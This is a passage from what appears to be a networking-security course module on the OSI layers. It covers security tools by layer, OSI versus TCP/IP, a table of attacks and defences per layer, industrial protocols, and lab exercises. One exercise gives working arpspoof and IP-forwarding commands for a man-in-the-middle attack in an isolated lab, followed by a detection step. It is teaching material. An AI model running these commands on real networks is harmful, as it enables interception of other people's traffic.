  &lt;span class="n"&gt;Protocol&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="k"&gt;pass&lt;/span&gt; &lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;segment&lt;/span&gt; &lt;span class="n"&gt;up&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;handler&lt;/span&gt;

&lt;span class="nc"&gt;TRANSPORT &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;segment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Dst&lt;/span&gt; &lt;span class="n"&gt;Port&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;there&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="n"&gt;listening&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;
  &lt;span class="n"&gt;Check&lt;/span&gt; &lt;span class="n"&gt;sequence&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;acknowledge&lt;/span&gt;
  &lt;span class="n"&gt;Pass&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;web&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt;

&lt;span class="n"&gt;SESSION&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nc"&gt;PRESENTATION &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layers&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;Not&lt;/span&gt; &lt;span class="n"&gt;applicable&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;plain&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt;

&lt;span class="nc"&gt;APPLICATION &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;Web&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="n"&gt;receives&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET / HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;Host: 192.168.1.100...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
  &lt;span class="n"&gt;Process&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;generate&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 Where Security Tools Operate
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Wireshark: Operates at ALL layers — can decode from L1 statistics up to L7 application data
           Use: Full packet analysis, protocol debugging, forensics

tcpdump: Primarily L2-L4 — captures frames/packets/segments with filters
         Use: Quick capture, scripting, production environments

Nmap: Primarily L3-L4 — sends crafted IP packets and TCP/UDP segments
      OS detection uses L3 (TTL, IP options) and L4 (TCP window size, options)
      Service detection uses L7 (banner grabbing, protocol responses)
      Use: Port scanning, service enumeration, OS fingerprinting

iptables/nftables: L3-L4 — filter based on IP addresses and port numbers
                   L7 extension: --match string for application data (limited)
                   Use: Host-based firewall

Snort/Suricata: All layers — L2 MAC rules through L7 application patterns
                Use: Intrusion detection/prevention

Burp Suite: L7 only — HTTP/HTTPS proxy
            Operates at application layer, doesn't handle TCP/IP directly
            Use: Web application testing

Metasploit: L4-L7 — exploits operate at transport/application level
            Network modules include L3 (ICMP) and L2 (ARP) capabilities
            Use: Exploitation framework

ARP tools (arpspoof, Bettercap): L2 — manipulate ARP at Layer 2
                                  Use: MITM setup
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. OSI vs TCP/IP — Where Theory Meets Reality
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 The TCP/IP Model
&lt;/h3&gt;

&lt;p&gt;The TCP/IP model (DoD model) is the practical model that actually describes how the internet works. It has four layers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OSI Model              TCP/IP Model
─────────────────      ───────────────────
7. Application    ─┐
6. Presentation   ─┼─→  Application
5. Session        ─┘
4. Transport       ──→  Transport
3. Network         ──→  Internet
2. Data Link      ─┐
1. Physical       ─┴─→  Network Access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The TCP/IP model collapses OSI's L5-L7 into Application and L1-L2 into Network Access. This reflects reality — TCP/IP protocols don't strictly observe the OSI layer boundaries.&lt;/p&gt;

&lt;h3&gt;
  
  
  11.2 Why Both Models Matter
&lt;/h3&gt;

&lt;p&gt;Use OSI when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Troubleshooting:&lt;/strong&gt; "Is this a Layer 1 problem (cable unplugged) or Layer 3 (routing)?"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security analysis:&lt;/strong&gt; "This attack operates at Layer 2 — what Layer 2 controls exist?"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Describing attack techniques:&lt;/strong&gt; "This is a Layer 7 attack (HTTP) that uses a Layer 4 mechanism (TCP connection flooding)"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vendor communication:&lt;/strong&gt; The OSI model is the universal reference — every security professional understands it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use TCP/IP when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Protocol specification reading:&lt;/strong&gt; RFCs describe TCP/IP protocols&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implementation details:&lt;/strong&gt; Understanding actual protocol behaviour&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network engineering:&lt;/strong&gt; How protocols actually interact&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In practice: know OSI by name and layer number. Know TCP/IP for implementation details. Switch between them naturally depending on context. This is what professionals do.&lt;/p&gt;




&lt;h2&gt;
  
  
  12. Attacking Across the Stack — Layer-by-Layer Threat Map
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────────────────────────────────────┐
│ Layer │ Key Attacks                    │ Key Defences                    │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L7   │ SQLi, XSS, CSRF, Command inj.  │ WAF, input validation, CSP      │
│  App  │ SSRF, XXE, IDOR, Deserialisat. │ Secure coding, DAST scanning    │
│       │ DNS cache poisoning, BGP hijack│ DNSSEC, RPKI, DMARC             │
│       │ Modbus/DNP3/SNMP exploitation  │ Protocol authentication (IEC 62351)│
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L6   │ Encoding attacks (UTF-8 abuse) │ Input normalisation, sanitisation│
│ Pres. │ CRIME/BREACH compression oracle│ Disable TLS compression         │
│       │ SSL/TLS downgrade attacks      │ TLS 1.2+ only, HSTS             │
│       │ Heartbleed (CVE-2014-0160)     │ Patch OpenSSL, cert rotation    │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L5   │ Session hijacking              │ Secure session tokens, HTTPS    │
│ Sess. │ RPC exploitation (MS03-026)    │ Firewall port 135, patch        │
│       │ NetBIOS/LLMNR poisoning        │ Disable LLMNR/NBT-NS, DNSSEC   │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L4   │ SYN flood                      │ SYN cookies, rate limiting      │
│ Trans.│ UDP amplification DDoS         │ BCP38, rate limiting services   │
│       │ TCP session hijacking          │ Randomised ISNs (modern OSes)   │
│       │ Port scanning                  │ Firewall, port knocking         │
│       │ TIME_WAIT exhaustion           │ Tune TCP stack parameters       │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L3   │ IP spoofing                    │ BCP38 ingress filtering         │
│  Net  │ ICMP redirect                  │ Disable ICMP redirect accept    │
│       │ Fragmentation attacks          │ Fragment reassembly at firewall │
│       │ OSPF/BGP route injection       │ Routing protocol authentication │
│       │ TTL manipulation (IDS evasion) │ Normalise TTL in IDS            │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L2   │ ARP spoofing/poisoning         │ Dynamic ARP Inspection (DAI)    │
│ Data  │ MAC flooding (CAM overflow)    │ Port security, MAC limiting     │
│ Link  │ VLAN hopping (DTP/double-tag)  │ Disable DTP, change native VLAN │
│       │ STP attacks (root bridge)      │ BPDU Guard, Root Guard          │
│       │ CDP/LLDP info disclosure       │ Disable on untrusted ports      │
│       │ GOOSE injection (IEC 61850)    │ IEC 62351-6 authentication      │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L1   │ Physical wiretapping           │ Physical security, fibre+alarm  │
│ Phys. │ Signal jamming                 │ RF shielding, redundant paths   │
│       │ Rogue device insertion         │ 802.1X port authentication      │
│       │ Hardware implants              │ Supply chain verification, tamper│
│       │ Power analysis side-channel    │ Constant-time crypto, shielding │
└───────┴────────────────────────────────┴─────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. OSI in OT/ICS/SCADA Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 How Industrial Protocols Map to OSI
&lt;/h3&gt;

&lt;p&gt;The Purdue Model (covered in Stage 12) describes OT network architecture in functional zones. OSI describes communication within and between those zones. Together they form the complete framework for OT security analysis.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IEC 61850 Protocol Stack vs OSI:
┌─────────────┐     ┌──────────────────────────────────┐
│    OSI      │     │         IEC 61850 Stack           │
├─────────────┤     ├──────────────────────────────────┤
│ Application │←───→│ MMS (Manufacturing Message Spec.) │
│ Presentation│←───→│ ASN.1/BER encoding               │
│ Session     │←───→│ ISO Session Protocol              │
│ Transport   │←───→│ TCP (for MMS/ICCP)               │
│ Network     │←───→│ IP                               │
│ Data Link   │←───→│ Ethernet (GOOSE/SV directly here)│
│ Physical    │←───→│ Copper/Fibre Ethernet            │
└─────────────┘     └──────────────────────────────────┘

GOOSE and Sampled Values bypass L3-L7 entirely → directly over L2
This is why IP firewalls cannot filter GOOSE traffic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Modbus TCP vs OSI:
┌─────────────┐     ┌─────────────────┐
│    OSI      │     │   Modbus TCP    │
├─────────────┤     ├─────────────────┤
│ Application │←───→│ Modbus PDU      │ ← Function code, data
│ Pres./Sess. │     │ (not present)   │ ← No session management
│ Transport   │←───→│ TCP (port 502)  │
│ Network     │←───→│ IP              │
│ Data Link   │←───→│ Ethernet        │
│ Physical    │←───→│ Copper/Fibre    │
└─────────────┘     └─────────────────┘

Note: Modbus does not implement Presentation or Session layers.
Sessions are implicit — if the TCP connection is open, commands are executed.
Authentication: NONE at any layer.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.2 OT Security Controls by Layer
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Layer-by-layer OT security controls:

L1 — Physical:
  ✓ Physical access control to cabinets and field devices
  ✓ Cable labelling and documentation
  ✓ Tamper-evident seals on hardware
  ✓ Locked enclosures in remote locations
  ✗ Often: exposed USB ports, unguarded network jacks

L2 — Data Link:
  ✓ GOOSE authentication (IEC 62351-6) — rarely deployed
  ✓ Port security on managed switches
  ✗ Often: unmanaged switches (no port security possible)
  ✗ Often: flat L2 network (no VLAN separation)
  ✗ Often: GOOSE with no authentication

L3 — Network:
  ✓ Firewalls between IT and OT (DMZ)
  ✓ Whitelist-based ACLs (only known devices can communicate)
  ✗ Often: no inspection of Modbus/DNP3 payload
  ✗ Often: no logging of L3 traffic
  Note: Modbus TCP on port 502 can be filtered at L3, but payload not validated

L4 — Transport:
  ✓ Port filtering (block everything except known service ports)
  ✗ Often: wide-open port ranges for "legacy compatibility"

L7 — Application:
  ✓ Industrial protocol gateways with command inspection
  ✓ OPC UA with security mode (authentication + encryption)
  ✓ DNP3 Secure Authentication v5
  ✗ Often: Modbus with no authentication accepted by field devices
  ✗ Often: SNMP v1/v2c on network-connected devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Layer-by-Layer Packet Dissection (1 hour)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture a full HTTP connection and manually identify each OSI layer&lt;/span&gt;

&lt;span class="c"&gt;# Start capture&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/http_full.pcap &lt;span class="s1"&gt;'host neverssl.com and tcp port 80'&lt;/span&gt; &amp;amp;

&lt;span class="c"&gt;# Generate traffic&lt;/span&gt;
curl &lt;span class="nt"&gt;-v&lt;/span&gt; http://neverssl.com/

&lt;span class="c"&gt;# Stop capture&lt;/span&gt;
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

&lt;span class="c"&gt;# Open in Wireshark: wireshark /tmp/http_full.pcap&lt;/span&gt;
&lt;span class="c"&gt;# For each packet in the TCP handshake (SYN, SYN-ACK, ACK):&lt;/span&gt;
&lt;span class="c"&gt;# 1. Expand "Ethernet II" → identify L2 fields (Dst MAC, Src MAC, EtherType)&lt;/span&gt;
&lt;span class="c"&gt;# 2. Expand "Internet Protocol" → identify L3 fields (Src IP, Dst IP, TTL, Protocol)&lt;/span&gt;
&lt;span class="c"&gt;# 3. Expand "Transmission Control Protocol" → identify L4 fields (ports, flags, seq, ack)&lt;/span&gt;
&lt;span class="c"&gt;# 4. Find the HTTP GET request packet → expand "Hypertext Transfer Protocol" → L7&lt;/span&gt;

&lt;span class="c"&gt;# Answer these questions:&lt;/span&gt;
&lt;span class="c"&gt;# - What is the Ethernet EtherType in hex?&lt;/span&gt;
&lt;span class="c"&gt;# - What IP protocol number identifies TCP?&lt;/span&gt;
&lt;span class="c"&gt;# - What TCP flags are set in the SYN packet?&lt;/span&gt;
&lt;span class="c"&gt;# - What TTL does the server's response have? What OS does this suggest?&lt;/span&gt;
&lt;span class="c"&gt;# - Can you find the HTTP response code?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: ARP Observation and Poisoning (Lab Only) (1 hour)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# This exercise MUST be done in an isolated lab (two VMs only)&lt;/span&gt;
&lt;span class="c"&gt;# NEVER on production or shared networks&lt;/span&gt;

&lt;span class="c"&gt;# VM1 (Attacker - Kali): 192.168.100.10&lt;/span&gt;
&lt;span class="c"&gt;# VM2 (Target):          192.168.100.20&lt;/span&gt;
&lt;span class="c"&gt;# Gateway (simulated):   192.168.100.1&lt;/span&gt;

&lt;span class="c"&gt;# On Target (VM2) — observe normal ARP&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="c"&gt;# Record the gateway's MAC address&lt;/span&gt;

&lt;span class="c"&gt;# On Attacker (VM1) — start ARP poisoning&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.100.20 192.168.100.1 &amp;amp;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.100.1 192.168.100.20 &amp;amp;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /proc/sys/net/ipv4/ip_forward

&lt;span class="c"&gt;# On Target (VM2) — check ARP again&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="c"&gt;# The gateway's MAC has changed to Attacker's MAC → ARP poisoning confirmed&lt;/span&gt;

&lt;span class="c"&gt;# On Attacker (VM1) — observe intercepted traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'host 192.168.100.20'&lt;/span&gt;

&lt;span class="c"&gt;# Questions:&lt;/span&gt;
&lt;span class="c"&gt;# What changed in the ARP cache?&lt;/span&gt;
&lt;span class="c"&gt;# Can you see target's traffic in tcpdump?&lt;/span&gt;
&lt;span class="c"&gt;# Can you detect this attack programmatically?&lt;/span&gt;

&lt;span class="c"&gt;# Detection (on any machine on the same segment):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpwatch &lt;span class="nt"&gt;-i&lt;/span&gt; eth0    &lt;span class="c"&gt;# Logs MAC address changes — would alert on this&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: Build a Layer-by-Layer Attack Map (45 minutes)
&lt;/h3&gt;

&lt;p&gt;Using only a packet capture and Wireshark, answer these questions about a network:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Download a sample capture&lt;/span&gt;
wget https://wiki.wireshark.org/uploads/afae4d9c6a5c0b96db05df03d00c97b0/http.cap
wireshark http.cap

&lt;span class="c"&gt;# L1 analysis:&lt;/span&gt;
&lt;span class="c"&gt;# - Is the capture from Ethernet or Wi-Fi?&lt;/span&gt;
&lt;span class="c"&gt;# - What is the maximum frame size observed?&lt;/span&gt;

&lt;span class="c"&gt;# L2 analysis:&lt;/span&gt;
&lt;span class="c"&gt;# - What are the unique MAC addresses?&lt;/span&gt;
&lt;span class="c"&gt;# - Look up their OUIs: what manufacturers made these devices?&lt;/span&gt;
&lt;span class="c"&gt;# - Is there any ARP traffic? What does it reveal?&lt;/span&gt;
&lt;span class="c"&gt;# - Filter: arp&lt;/span&gt;

&lt;span class="c"&gt;# L3 analysis:&lt;/span&gt;
&lt;span class="c"&gt;# - What are the unique IP addresses?&lt;/span&gt;
&lt;span class="c"&gt;# - What TTLs do you observe? What OSes?&lt;/span&gt;
&lt;span class="c"&gt;# - Filter: ip&lt;/span&gt;

&lt;span class="c"&gt;# L4 analysis:&lt;/span&gt;
&lt;span class="c"&gt;# - What TCP connections exist? (Wireshark Statistics → Conversations → TCP)&lt;/span&gt;
&lt;span class="c"&gt;# - What is the SYN timestamp? The FIN/RST timestamp? How long was the connection?&lt;/span&gt;
&lt;span class="c"&gt;# - Filter: tcp.flags.syn == 1 to find all connection initiations&lt;/span&gt;

&lt;span class="c"&gt;# L7 analysis:&lt;/span&gt;
&lt;span class="c"&gt;# - What HTTP requests were made? (File → Export Objects → HTTP)&lt;/span&gt;
&lt;span class="c"&gt;# - What user-agent string reveals the browser/OS?&lt;/span&gt;
&lt;span class="c"&gt;# - Filter: http.request&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: Wireshark OSI Layer Filters (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Master Wireshark filters organised by OSI layer&lt;/span&gt;

&lt;span class="c"&gt;# L2 filters:&lt;/span&gt;
eth.dst &lt;span class="o"&gt;==&lt;/span&gt; ff:ff:ff:ff:ff:ff          &lt;span class="c"&gt;# Broadcast frames&lt;/span&gt;
eth.type &lt;span class="o"&gt;==&lt;/span&gt; 0x0806                     &lt;span class="c"&gt;# ARP frames only&lt;/span&gt;
eth.type &lt;span class="o"&gt;==&lt;/span&gt; 0x8100                     &lt;span class="c"&gt;# 802.1Q VLAN tagged&lt;/span&gt;
eth.src &lt;span class="o"&gt;==&lt;/span&gt; AA:BB:CC:DD:EE:FF           &lt;span class="c"&gt;# Specific source MAC&lt;/span&gt;
eth.addr &lt;span class="o"&gt;==&lt;/span&gt; AA:BB:CC:DD:EE:FF          &lt;span class="c"&gt;# Source OR destination MAC&lt;/span&gt;

&lt;span class="c"&gt;# L3 filters:&lt;/span&gt;
ip.src &lt;span class="o"&gt;==&lt;/span&gt; 192.168.1.100               &lt;span class="c"&gt;# Specific source IP&lt;/span&gt;
ip.dst &lt;span class="o"&gt;==&lt;/span&gt; 192.168.1.1                 &lt;span class="c"&gt;# Specific destination IP&lt;/span&gt;
ip.ttl &amp;lt; 10                           &lt;span class="c"&gt;# Low TTL (dying packets or traceroute)&lt;/span&gt;
ip.frag_offset &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 0                    &lt;span class="c"&gt;# Fragmented packets (not first fragment)&lt;/span&gt;
ip.flags.mf &lt;span class="o"&gt;==&lt;/span&gt; 1                      &lt;span class="c"&gt;# More fragments flag set&lt;/span&gt;
icmp                                   &lt;span class="c"&gt;# All ICMP traffic&lt;/span&gt;
icmp.type &lt;span class="o"&gt;==&lt;/span&gt; 8                        &lt;span class="c"&gt;# ICMP Echo Request (ping)&lt;/span&gt;

&lt;span class="c"&gt;# L4 filters:&lt;/span&gt;
tcp.port &lt;span class="o"&gt;==&lt;/span&gt; 80                        &lt;span class="c"&gt;# TCP port 80 either direction&lt;/span&gt;
tcp.dstport &lt;span class="o"&gt;==&lt;/span&gt; 443                    &lt;span class="c"&gt;# HTTPS traffic&lt;/span&gt;
tcp.flags.syn &lt;span class="o"&gt;==&lt;/span&gt; 1 and tcp.flags.ack &lt;span class="o"&gt;==&lt;/span&gt; 0   &lt;span class="c"&gt;# SYN only (new connections)&lt;/span&gt;
tcp.flags.rst &lt;span class="o"&gt;==&lt;/span&gt; 1                    &lt;span class="c"&gt;# RST packets (rejected connections)&lt;/span&gt;
tcp.analysis.retransmission           &lt;span class="c"&gt;# TCP retransmissions (network problems/scanning)&lt;/span&gt;
udp.port &lt;span class="o"&gt;==&lt;/span&gt; 53                        &lt;span class="c"&gt;# DNS traffic&lt;/span&gt;

&lt;span class="c"&gt;# L7 filters:&lt;/span&gt;
http.request.method &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"POST"&lt;/span&gt;         &lt;span class="c"&gt;# HTTP POST requests&lt;/span&gt;
http.response.code &lt;span class="o"&gt;==&lt;/span&gt; 200             &lt;span class="c"&gt;# Successful HTTP responses&lt;/span&gt;
http.response.code &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 400             &lt;span class="c"&gt;# HTTP errors&lt;/span&gt;
dns.qry.name contains &lt;span class="s2"&gt;"evil"&lt;/span&gt;          &lt;span class="c"&gt;# DNS queries containing "evil"&lt;/span&gt;
dns.flags.response &lt;span class="o"&gt;==&lt;/span&gt; 0               &lt;span class="c"&gt;# DNS queries only&lt;/span&gt;
smb2                                  &lt;span class="c"&gt;# SMB2 traffic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  15. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;OSI Layer&lt;/th&gt;
&lt;th&gt;Number&lt;/th&gt;
&lt;th&gt;PDU&lt;/th&gt;
&lt;th&gt;Key Protocols&lt;/th&gt;
&lt;th&gt;Primary Security Attacks&lt;/th&gt;
&lt;th&gt;Key Defences&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Application&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;HTTP, DNS, SMTP, SMB, Modbus, DNP3, SNMP&lt;/td&gt;
&lt;td&gt;SQLi, XSS, DNS poisoning, command injection, Modbus exploitation&lt;/td&gt;
&lt;td&gt;WAF, input validation, DNSSEC, IEC 62351&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Presentation&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;TLS, SSL, JPEG, ASN.1&lt;/td&gt;
&lt;td&gt;CRIME/BREACH, SSL downgrade, Heartbleed, encoding attacks&lt;/td&gt;
&lt;td&gt;TLS 1.3, disable TLS compression, patch OpenSSL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;NetBIOS, RPC, TLS handshake&lt;/td&gt;
&lt;td&gt;Session hijacking, RPC exploitation, LLMNR poisoning&lt;/td&gt;
&lt;td&gt;Disable LLMNR/NBT-NS, firewall RPC, HTTPS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Transport&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Segment/Datagram&lt;/td&gt;
&lt;td&gt;TCP, UDP, QUIC&lt;/td&gt;
&lt;td&gt;SYN flood, UDP amplification, port scanning, TIME_WAIT exhaustion&lt;/td&gt;
&lt;td&gt;SYN cookies, BCP38, rate limiting, firewall&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Packet&lt;/td&gt;
&lt;td&gt;IPv4, IPv6, ICMP, OSPF, BGP, IPSec&lt;/td&gt;
&lt;td&gt;IP spoofing, ICMP redirect, fragmentation attacks, route injection&lt;/td&gt;
&lt;td&gt;BCP38, RPKI, routing authentication, firewall&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data Link&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Frame&lt;/td&gt;
&lt;td&gt;Ethernet, 802.1Q, ARP, STP, LLDP, GOOSE&lt;/td&gt;
&lt;td&gt;ARP spoofing, MAC flooding, VLAN hopping, STP attack, GOOSE injection&lt;/td&gt;
&lt;td&gt;DAI, port security, BPDU Guard, IEC 62351-6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Physical&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Bits&lt;/td&gt;
&lt;td&gt;Copper, Fibre, 802.11, RS-485&lt;/td&gt;
&lt;td&gt;Wiretapping, jamming, rogue device, hardware implant&lt;/td&gt;
&lt;td&gt;Physical security, 802.1X, supply chain audit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-1.3-tcpip-model.md"&gt;Stage 1.3 — TCP/IP Model&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-1.1-network-concepts.md"&gt;Stage 1.1 — Network Concepts&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




